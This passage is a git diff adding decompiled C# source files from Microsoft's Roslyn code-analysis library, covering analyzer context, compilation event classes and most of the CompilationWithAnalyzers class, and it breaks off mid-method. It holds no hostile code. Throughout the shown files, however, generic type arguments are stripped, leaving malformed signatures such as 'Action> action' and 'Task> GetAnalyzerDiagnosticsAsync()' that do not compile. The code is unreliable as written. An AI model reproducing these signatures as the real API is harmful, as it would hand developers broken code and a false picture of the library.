a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartAnalysisContext.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartAnalysisContext.cs new file mode 100644 index 0000000..35b1ae9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartAnalysisContext.cs @@ -0,0 +1,109 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public abstract class CompilationStartAnalysisContext +{ + private readonly Compilation _compilation; + + private readonly AnalyzerOptions _options; + + private readonly CancellationToken _cancellationToken; + + public Compilation Compilation => _compilation; + + public AnalyzerOptions Options => _options; + + public CancellationToken CancellationToken => _cancellationToken; + + protected CompilationStartAnalysisContext(Compilation compilation, AnalyzerOptions options, CancellationToken cancellationToken) + { + _compilation = compilation; + _options = options; + _cancellationToken = cancellationToken; + } + + public abstract void RegisterCompilationEndAction(Action action); + + public abstract void RegisterSemanticModelAction(Action action); + + public void RegisterSymbolAction(Action action, params SymbolKind[] symbolKinds) + { + RegisterSymbolAction(action, symbolKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterSymbolAction(Action action, ImmutableArray symbolKinds); + + public virtual void RegisterSymbolStartAction(Action action, SymbolKind symbolKind) + { + throw new NotImplementedException(); + } + + public abstract void RegisterCodeBlockStartAction(Action> action) where TLanguageKindEnum : struct; + + public abstract void RegisterCodeBlockAction(Action action); + + public virtual void RegisterOperationBlockStartAction(Action action) + { + throw new NotImplementedException(); + } + + public virtual void RegisterOperationBlockAction(Action action) + { + throw new NotImplementedException(); + } + + public abstract void RegisterSyntaxTreeAction(Action action); + + public virtual void RegisterAdditionalFileAction(Action action) + { + throw new NotImplementedException(); + } + + public void RegisterSyntaxNodeAction(Action action, params TLanguageKindEnum[] syntaxKinds) where TLanguageKindEnum : struct + { + RegisterSyntaxNodeAction(action, syntaxKinds.AsImmutableOrEmpty()); + } + + public abstract void RegisterSyntaxNodeAction(Action action, ImmutableArray syntaxKinds) where TLanguageKindEnum : struct; + + public void RegisterOperationAction(Action action, params OperationKind[] operationKinds) + { + RegisterOperationAction(action, operationKinds.AsImmutableOrEmpty()); + } + + public virtual void RegisterOperationAction(Action action, ImmutableArray operationKinds) + { + throw new NotImplementedException(); + } + + public bool TryGetValue(SourceText text, SourceTextValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(text, valueProvider.CoreValueProvider, out value); + } + + public bool TryGetValue(AdditionalText text, AdditionalTextValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(text, valueProvider.CoreValueProvider, out value); + } + + public bool TryGetValue(SyntaxTree tree, SyntaxTreeValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) + { + return TryGetValue(tree, valueProvider.CoreValueProvider, out value); + } + + private bool TryGetValue(TKey key, AnalysisValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) where TKey : class + { + DiagnosticAnalysisContextHelpers.VerifyArguments(key, valueProvider); + return TryGetValueCore(key, valueProvider, out value); + } + + internal virtual bool TryGetValueCore(TKey key, AnalysisValueProvider valueProvider, [MaybeNullWhen(false)] out TValue value) where TKey : class + { + throw new NotImplementedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartAnalyzerAction.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartAnalyzerAction.cs new file mode 100644 index 0000000..baf4bf4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartAnalyzerAction.cs @@ -0,0 +1,14 @@ +using System; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationStartAnalyzerAction : AnalyzerAction +{ + public Action Action { get; } + + public CompilationStartAnalyzerAction(Action action, DiagnosticAnalyzer analyzer) + : base(analyzer) + { + Action = action; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartedEvent.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartedEvent.cs new file mode 100644 index 0000000..e137938 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationStartedEvent.cs @@ -0,0 +1,29 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationStartedEvent : CompilationEvent +{ + public ImmutableArray AdditionalFiles { get; } + + private CompilationStartedEvent(Compilation compilation, ImmutableArray additionalFiles) + : base(compilation) + { + AdditionalFiles = additionalFiles; + } + + public CompilationStartedEvent(Compilation compilation) + : this(compilation, ImmutableArray.Empty) + { + } + + public override string ToString() + { + return "CompilationStartedEvent"; + } + + public CompilationStartedEvent WithAdditionalFiles(ImmutableArray additionalFiles) + { + return new CompilationStartedEvent(base.Compilation, additionalFiles); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationUnitCompletedEvent.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationUnitCompletedEvent.cs new file mode 100644 index 0000000..f5881ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationUnitCompletedEvent.cs @@ -0,0 +1,22 @@ +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +internal sealed class CompilationUnitCompletedEvent : CompilationEvent +{ + public SyntaxTree CompilationUnit { get; } + + public TextSpan? FilterSpan { get; } + + public CompilationUnitCompletedEvent(Compilation compilation, SyntaxTree compilationUnit, TextSpan? filterSpan = null) + : base(compilation) + { + CompilationUnit = compilationUnit; + FilterSpan = filterSpan; + } + + public override string ToString() + { + return $"CompilationUnitCompletedEvent({CompilationUnit.FilePath}){FilterSpan}"; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationWithAnalyzers.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationWithAnalyzers.cs new file mode 100644 index 0000000..e21db9b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Diagnostics/CompilationWithAnalyzers.cs @@ -0,0 +1,788 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis.Diagnostics.Telemetry; +using Microsoft.CodeAnalysis.ErrorReporting; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Diagnostics; + +public class CompilationWithAnalyzers +{ + private readonly Compilation _compilation; + + private readonly AnalysisScope _compilationAnalysisScope; + + private readonly ImmutableArray _analyzers; + + private readonly ImmutableArray _suppressors; + + private readonly CompilationWithAnalyzersOptions _analysisOptions; + + private readonly AnalysisResultBuilder _analysisResultBuilder; + + private readonly ConcurrentSet _exceptionDiagnostics = new ConcurrentSet(); + + private static readonly AsyncQueue s_EmptyEventQueue = new AsyncQueue(); + + public Compilation Compilation => _compilation; + + public ImmutableArray Analyzers => _analyzers; + + public CompilationWithAnalyzersOptions AnalysisOptions => _analysisOptions; + + [Obsolete("This CancellationToken is always 'None'", false)] + [EditorBrowsable(EditorBrowsableState.Never)] + public CancellationToken CancellationToken => CancellationToken.None; + + private ImmutableArray AdditionalFiles => _analysisOptions.Options?.AdditionalFiles ?? ImmutableArray.Empty; + + [Obsolete("Use constructor without a cancellation token")] + [EditorBrowsable(EditorBrowsableState.Never)] + public CompilationWithAnalyzers(Compilation compilation, ImmutableArray analyzers, AnalyzerOptions? options, CancellationToken cancellationToken) + : this(compilation, analyzers, options) + { + } + + public CompilationWithAnalyzers(Compilation compilation, ImmutableArray analyzers, AnalyzerOptions? options) + : this(compilation, analyzers, new CompilationWithAnalyzersOptions(options, null, concurrentAnalysis: true, logAnalyzerExecutionTime: true, reportSuppressedDiagnostics: false, null)) + { + } + + public CompilationWithAnalyzers(Compilation compilation, ImmutableArray analyzers, CompilationWithAnalyzersOptions analysisOptions) + { + VerifyArguments(compilation, analyzers, analysisOptions); + compilation = compilation.WithOptions(compilation.Options.WithReportSuppressedDiagnostics(analysisOptions.ReportSuppressedDiagnostics)).WithSemanticModelProvider(new CachingSemanticModelProvider()).WithEventQueue(new AsyncQueue()); + _compilation = compilation; + _analyzers = analyzers; + _suppressors = analyzers.OfType().ToImmutableArrayOrEmpty(); + _analysisOptions = analysisOptions; + _analysisResultBuilder = new AnalysisResultBuilder(analysisOptions.LogAnalyzerExecutionTime, analyzers, _analysisOptions.Options?.AdditionalFiles ?? ImmutableArray.Empty); + _compilationAnalysisScope = AnalysisScope.Create(_compilation, _analyzers, this); + } + + private static void VerifyArguments(Compilation compilation, ImmutableArray analyzers, CompilationWithAnalyzersOptions analysisOptions) + { + if (compilation == null) + { + throw new ArgumentNullException("compilation"); + } + if (analysisOptions == null) + { + throw new ArgumentNullException("analysisOptions"); + } + VerifyAnalyzersArgumentForStaticApis(analyzers); + } + + private static void VerifyAnalyzersArgumentForStaticApis(ImmutableArray analyzers, bool allowDefaultOrEmpty = false) + { + if (analyzers.IsDefaultOrEmpty) + { + if (!allowDefaultOrEmpty) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentCannotBeEmpty, "analyzers"); + } + return; + } + if (analyzers.Any((DiagnosticAnalyzer a) => a == null)) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentElementCannotBeNull, "analyzers"); + } + if (analyzers.HasDuplicates()) + { + throw new ArgumentException(CodeAnalysisResources.DuplicateAnalyzerInstances, "analyzers"); + } + } + + private void VerifyAnalyzerArgument(DiagnosticAnalyzer analyzer) + { + VerifyAnalyzerArgumentForStaticApis(analyzer); + if (!_analyzers.Contains(analyzer)) + { + throw new ArgumentException(CodeAnalysisResources.UnsupportedAnalyzerInstance, "analyzer"); + } + } + + private static void VerifyAnalyzerArgumentForStaticApis(DiagnosticAnalyzer analyzer) + { + if (analyzer == null) + { + throw new ArgumentException(CodeAnalysisResources.ArgumentCannotBeEmpty, "analyzer"); + } + } + + private void VerifyExistingAnalyzersArgument(ImmutableArray analyzers) + { + VerifyAnalyzersArgumentForStaticApis(analyzers); + if (analyzers.Any((DiagnosticAnalyzer a, CompilationWithAnalyzers self) => !self._analyzers.Contains(a), this)) + { + throw new ArgumentException(CodeAnalysisResources.UnsupportedAnalyzerInstance, "_analyzers"); + } + if (analyzers.HasDuplicates()) + { + throw new ArgumentException(CodeAnalysisResources.DuplicateAnalyzerInstances, "analyzers"); + } + } + + private void VerifyModel(SemanticModel model) + { + if (model == null) + { + throw new ArgumentNullException("model"); + } + if (!_compilation.ContainsSyntaxTree(model.SyntaxTree)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidTree, "model"); + } + } + + private void VerifyTree(SyntaxTree tree) + { + if (tree == null) + { + throw new ArgumentNullException("tree"); + } + if (!_compilation.ContainsSyntaxTree(tree)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidTree, "tree"); + } + } + + private void VerifyAdditionalFile(AdditionalText file) + { + if (file == null) + { + throw new ArgumentNullException("file"); + } + if (!AdditionalFiles.Contains(file)) + { + throw new ArgumentException(CodeAnalysisResources.InvalidAdditionalFile, "file"); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public Task> GetAnalyzerDiagnosticsAsync() + { + return GetAnalyzerDiagnosticsAsync(CancellationToken.None); + } + + public async Task> GetAnalyzerDiagnosticsAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + return await GetAnalyzerDiagnosticsCoreAsync(Analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task> GetAnalyzerDiagnosticsAsync(ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalyzerDiagnosticsCoreAsync(analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task GetAnalysisResultAsync(CancellationToken cancellationToken) + { + return await GetAnalysisResultCoreAsync(Analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task GetAnalysisResultAsync(ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalysisResultCoreAsync(analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public Task> GetAllDiagnosticsAsync() + { + return GetAllDiagnosticsAsync(CancellationToken.None); + } + + public async Task> GetAllDiagnosticsAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + return (await getAllDiagnosticsWithoutStateTrackingAsync(Analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)).AddRange(_exceptionDiagnostics); + async Task> getAllDiagnosticsWithoutStateTrackingAsync(ImmutableArray analyzers, CancellationToken cancellationToken2) + { + Compilation compilation = _compilation.WithEventQueue(new AsyncQueue()); + AnalysisScope analysisScope = AnalysisScope.Create(compilation, analyzers, this); + using AnalyzerDriver driver = await CreateAndInitializeDriverAsync(compilation, _analysisOptions, analysisScope, _suppressors, categorizeDiagnostics: false, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + driver.AttachQueueAndStartProcessingEvents(compilation.EventQueue, analysisScope, usingPrePopulatedEventQueue: false, cancellationToken2); + ImmutableArray reportedDiagnostics = compilation.GetDiagnostics(cancellationToken2).AddRange(await driver.GetDiagnosticsAsync(compilation, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false)); + return driver.ApplyProgrammaticSuppressionsAndFilterDiagnostics(reportedDiagnostics, compilation, cancellationToken2); + } + } + + [Obsolete("This API was found to have performance issues and hence has been deprecated. Instead, invoke the API 'GetAnalysisResultAsync' and access the property 'CompilationDiagnostics' on the returned 'AnalysisResult' to fetch the compilation diagnostics.")] + public async Task> GetAnalyzerCompilationDiagnosticsAsync(CancellationToken cancellationToken) + { + return await GetAnalyzerCompilationDiagnosticsCoreAsync(Analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + [Obsolete("This API was found to have performance issues and hence has been deprecated. Instead, invoke the API 'GetAnalysisResultAsync' and access the property 'CompilationDiagnostics' on the returned 'AnalysisResult' to fetch the compilation diagnostics.")] + public async Task> GetAnalyzerCompilationDiagnosticsAsync(ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalyzerCompilationDiagnosticsCoreAsync(analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async Task> GetAnalyzerCompilationDiagnosticsCoreAsync(ImmutableArray analyzers, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = _compilationAnalysisScope.WithAnalyzers(analyzers, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.GetDiagnostics(analysisScope, getLocalDiagnostics: false, getNonLocalDiagnostics: true); + } + + private async Task GetAnalysisResultCoreAsync(ImmutableArray analyzers, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = _compilationAnalysisScope.WithAnalyzers(analyzers, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.ToAnalysisResult(analyzers, analysisScope, cancellationToken); + } + + private async Task> GetAnalyzerDiagnosticsCoreAsync(ImmutableArray analyzers, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = _compilationAnalysisScope.WithAnalyzers(analyzers, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.GetDiagnostics(analysisScope, getLocalDiagnostics: true, getNonLocalDiagnostics: true); + } + + private static async Task CreateAndInitializeDriverAsync(Compilation compilation, CompilationWithAnalyzersOptions analysisOptions, AnalysisScope analysisScope, ImmutableArray suppressors, bool categorizeDiagnostics, CancellationToken cancellationToken) + { + ImmutableArray analyzers = analysisScope.Analyzers; + if (!suppressors.IsEmpty) + { + ImmutableHashSet suppressorsInAnalysisScope = analysisScope.Analyzers.OfType().ToImmutableHashSet(); + analyzers = analyzers.AddRange(suppressors.Where((DiagnosticSuppressor suppressor) => !suppressorsInAnalysisScope.Contains(suppressor))); + } + AnalyzerDriver driver = compilation.CreateAnalyzerDriver(analyzers, new AnalyzerManager(analyzers), SeverityFilter.None); + driver.Initialize(compilation, analysisOptions, new AnalyzerDriver.CompilationData(compilation), analysisScope, categorizeDiagnostics, trackSuppressedDiagnosticIds: false, cancellationToken); + cancellationToken.ThrowIfCancellationRequested(); + await driver.WhenInitializedTask.ConfigureAwait(continueOnCapturedContext: false); + return driver; + } + + public async Task> GetAnalyzerSyntaxDiagnosticsAsync(SyntaxTree tree, CancellationToken cancellationToken) + { + VerifyTree(tree); + return await GetAnalyzerSyntaxDiagnosticsCoreAsync(tree, Analyzers, null, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task> GetAnalyzerSyntaxDiagnosticsAsync(SyntaxTree tree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + VerifyTree(tree); + return await GetAnalyzerSyntaxDiagnosticsCoreAsync(tree, Analyzers, filterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task> GetAnalyzerSyntaxDiagnosticsAsync(SyntaxTree tree, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyTree(tree); + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalyzerSyntaxDiagnosticsCoreAsync(tree, analyzers, null, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task> GetAnalyzerSyntaxDiagnosticsAsync(SyntaxTree tree, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyTree(tree); + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalyzerSyntaxDiagnosticsCoreAsync(tree, analyzers, filterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public Task GetAnalysisResultAsync(SyntaxTree tree, CancellationToken cancellationToken) + { + VerifyTree(tree); + return GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(tree), Analyzers, null, cancellationToken); + } + + public Task GetAnalysisResultAsync(SyntaxTree tree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + VerifyTree(tree); + return GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(tree), Analyzers, filterSpan, cancellationToken); + } + + public Task GetAnalysisResultAsync(SyntaxTree tree, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyTree(tree); + VerifyExistingAnalyzersArgument(analyzers); + return GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(tree), analyzers, null, cancellationToken); + } + + public Task GetAnalysisResultAsync(SyntaxTree tree, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyTree(tree); + VerifyExistingAnalyzersArgument(analyzers); + return GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(tree), analyzers, filterSpan, cancellationToken); + } + + public async Task GetAnalysisResultAsync(AdditionalText file, CancellationToken cancellationToken) + { + VerifyAdditionalFile(file); + return await GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(file), Analyzers, null, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task GetAnalysisResultAsync(AdditionalText file, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyAdditionalFile(file); + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(file), analyzers, null, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task GetAnalysisResultAsync(AdditionalText file, TextSpan? filterSpan, CancellationToken cancellationToken) + { + VerifyAdditionalFile(file); + return await GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(file), Analyzers, filterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task GetAnalysisResultAsync(AdditionalText file, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyAdditionalFile(file); + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalysisResultCoreAsync(new SourceOrAdditionalFile(file), analyzers, filterSpan, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + private async Task GetAnalysisResultCoreAsync(SourceOrAdditionalFile file, ImmutableArray analyzers, TextSpan? filterSpan, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = AnalysisScope.Create(analyzers, file, filterSpan, isSyntacticSingleFileAnalysis: true, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.ToAnalysisResult(analyzers, analysisScope, cancellationToken); + } + + private async Task> GetAnalyzerSyntaxDiagnosticsCoreAsync(SyntaxTree tree, ImmutableArray analyzers, TextSpan? filterSpan, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = AnalysisScope.Create(analyzers, new SourceOrAdditionalFile(tree), filterSpan, isSyntacticSingleFileAnalysis: true, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.GetDiagnostics(analysisScope, getLocalDiagnostics: true, getNonLocalDiagnostics: false); + } + + public async Task> GetAnalyzerSemanticDiagnosticsAsync(SemanticModel model, TextSpan? filterSpan, CancellationToken cancellationToken) + { + VerifyModel(model); + return await GetAnalyzerSemanticDiagnosticsCoreAsync(model, filterSpan, Analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public async Task> GetAnalyzerSemanticDiagnosticsAsync(SemanticModel model, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyModel(model); + VerifyExistingAnalyzersArgument(analyzers); + return await GetAnalyzerSemanticDiagnosticsCoreAsync(model, filterSpan, analyzers, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + + public Task GetAnalysisResultAsync(SemanticModel model, TextSpan? filterSpan, CancellationToken cancellationToken) + { + VerifyModel(model); + return GetAnalysisResultCoreAsync(model, filterSpan, Analyzers, cancellationToken); + } + + public Task GetAnalysisResultAsync(SemanticModel model, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + VerifyModel(model); + VerifyExistingAnalyzersArgument(analyzers); + return GetAnalysisResultCoreAsync(model, filterSpan, analyzers, cancellationToken); + } + + private async Task GetAnalysisResultCoreAsync(SemanticModel model, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = AnalysisScope.Create(analyzers, new SourceOrAdditionalFile(model.SyntaxTree), filterSpan, isSyntacticSingleFileAnalysis: false, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.ToAnalysisResult(analyzers, analysisScope, cancellationToken); + } + + private async Task> GetAnalyzerSemanticDiagnosticsCoreAsync(SemanticModel model, TextSpan? filterSpan, ImmutableArray analyzers, CancellationToken cancellationToken) + { + AnalysisScope analysisScope = AnalysisScope.Create(analyzers, new SourceOrAdditionalFile(model.SyntaxTree), filterSpan, isSyntacticSingleFileAnalysis: false, this); + await ComputeAnalyzerDiagnosticsAsync(analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + return _analysisResultBuilder.GetDiagnostics(analysisScope, getLocalDiagnostics: true, getNonLocalDiagnostics: false); + } + + private async Task ComputeAnalyzerDiagnosticsAsync(AnalysisScope? analysisScope, CancellationToken cancellationToken) + { + _ = 3; + try + { + cancellationToken.ThrowIfCancellationRequested(); + analysisScope = GetPendingAnalysisScope(analysisScope); + if (analysisScope == null) + { + return; + } + Compilation compilation = (analysisScope.IsSingleFileAnalysisForCompilerAnalyzer ? _compilation : _compilation.WithSemanticModelProvider(new CachingSemanticModelProvider()).WithEventQueue(new AsyncQueue())); + using AnalyzerDriver driver = await CreateAndInitializeDriverAsync(compilation, _analysisOptions, analysisScope, _suppressors, categorizeDiagnostics: true, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + (ImmutableDictionary, bool) tuple = await getAnalyzerActionCountsAsync(driver, compilation, analysisScope, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + ImmutableDictionary analyzerActionCounts = tuple.Item1; + bool item = tuple.Item2; + Func getAnalyzerActionCounts = (DiagnosticAnalyzer analyzer) => analyzerActionCounts[analyzer]; + if (!analysisScope.IsSingleFileAnalysis) + { + driver.AttachQueueAndStartProcessingEvents(compilation.EventQueue, analysisScope, !item, cancellationToken); + if (item) + { + compilation.GetDiagnostics(cancellationToken); + } + await driver.WhenCompletedTask.ConfigureAwait(continueOnCapturedContext: false); + _analysisResultBuilder.ApplySuppressionsAndStoreAnalysisResult(analysisScope, driver, compilation, getAnalyzerActionCounts, cancellationToken); + return; + } + ImmutableArray compilationEventsForSingleFileAnalysis = GetCompilationEventsForSingleFileAnalysis(compilation, analysisScope, AdditionalFiles, item, cancellationToken); + ArrayBuilder<(AnalysisScope, ImmutableArray)> builder = ArrayBuilder<(AnalysisScope, ImmutableArray)>.GetInstance(); + builder.Add((analysisScope, compilationEventsForSingleFileAnalysis)); + if (compilationEventsForSingleFileAnalysis.Any((CompilationEvent e) => e is SymbolDeclaredCompilationEvent) && driver.HasSymbolStartedActions(analysisScope)) + { + var (symbolStartAnalyzers, analyzers) = getSymbolStartAnalyzers(analysisScope.Analyzers, analyzerActionCounts); + builder.Clear(); + if (!analyzers.IsEmpty) + { + AnalysisScope item2 = analysisScope.WithAnalyzers(analyzers, this); + builder.Add((item2, compilationEventsForSingleFileAnalysis)); + } + processSymbolStartAnalyzers(analysisScope.FilterFileOpt.Value, analysisScope.FilterSpanOpt, compilationEventsForSingleFileAnalysis, symbolStartAnalyzers, compilation, _analysisResultBuilder, builder, AdditionalFiles, cancellationToken); + } + await attachQueueAndProcessAllEventsAsync(builder, driver, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + ArrayBuilder<(AnalysisScope, ImmutableArray)>.Enumerator enumerator = builder.GetEnumerator(); + while (enumerator.MoveNext()) + { + AnalysisScope item3 = enumerator.Current.Item1; + _analysisResultBuilder.ApplySuppressionsAndStoreAnalysisResult(item3, driver, compilation, getAnalyzerActionCounts, cancellationToken); + } + } + catch (Exception exception) when (FatalError.ReportAndPropagateUnlessCanceled(exception, cancellationToken)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/DiagnosticAnalyzer/CompilationWithAnalyzers.cs", 808); + } + static async Task attachQueueAndProcessAllEventsAsync(ArrayBuilder<(AnalysisScope, ImmutableArray)> arrayBuilder, AnalyzerDriver analyzerDriver, CancellationToken cancellationToken2) + { + ArrayBuilder<(AnalysisScope, ImmutableArray)>.Enumerator enumerator2 = arrayBuilder.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (analysisScope2, compilationEvents) = enumerator2.Current; + cancellationToken2.ThrowIfCancellationRequested(); + AsyncQueue eventQueue = CreateEventsQueue(compilationEvents); + await analyzerDriver.AttachQueueAndProcessAllEventsAsync(eventQueue, analysisScope2, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + } + } + static async Task<(ImmutableDictionary analyzerActionCounts, bool hasAnyActionsRequiringCompilationEvents)> getAnalyzerActionCountsAsync(AnalyzerDriver analyzerDriver, Compilation compilation2, AnalysisScope analysisScope2, CancellationToken cancellationToken2) + { + ImmutableDictionary.Builder builder2 = ImmutableDictionary.CreateBuilder(); + bool hasAnyActionsRequiringCompilationEvents = false; + ImmutableArray.Enumerator enumerator2 = analysisScope2.Analyzers.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DiagnosticAnalyzer analyzer = enumerator2.Current; + AnalyzerActionCounts analyzerActionCounts2 = await analyzerDriver.GetAnalyzerActionCountsAsync(analyzer, compilation2.Options, analysisScope2, cancellationToken2).ConfigureAwait(continueOnCapturedContext: false); + builder2.Add(analyzer, analyzerActionCounts2); + if (analyzerActionCounts2.HasAnyActionsRequiringCompilationEvents) + { + hasAnyActionsRequiringCompilationEvents = true; + } + } + return (analyzerActionCounts: builder2.ToImmutable(), hasAnyActionsRequiringCompilationEvents: hasAnyActionsRequiringCompilationEvents); + } + static (ImmutableArray symbolStartAnalyzers, ImmutableArray otherAnalyzers) getSymbolStartAnalyzers(ImmutableArray immutableArray, ImmutableDictionary immutableDictionary) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator2 = immutableArray.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DiagnosticAnalyzer current = enumerator2.Current; + if (immutableDictionary[current].SymbolStartActionsCount > 0) + { + instance.Add(current); + } + else + { + instance2.Add(current); + } + } + return (symbolStartAnalyzers: instance.ToImmutableAndFree(), otherAnalyzers: instance2.ToImmutableAndFree()); + } + void processSymbolStartAnalyzers(SourceOrAdditionalFile originalFile, TextSpan? originalSpan, ImmutableArray compilationEventsForTree, ImmutableArray analyzers2, Compilation compilation2, AnalysisResultBuilder analysisResultBuilder, ArrayBuilder<(AnalysisScope, ImmutableArray)> 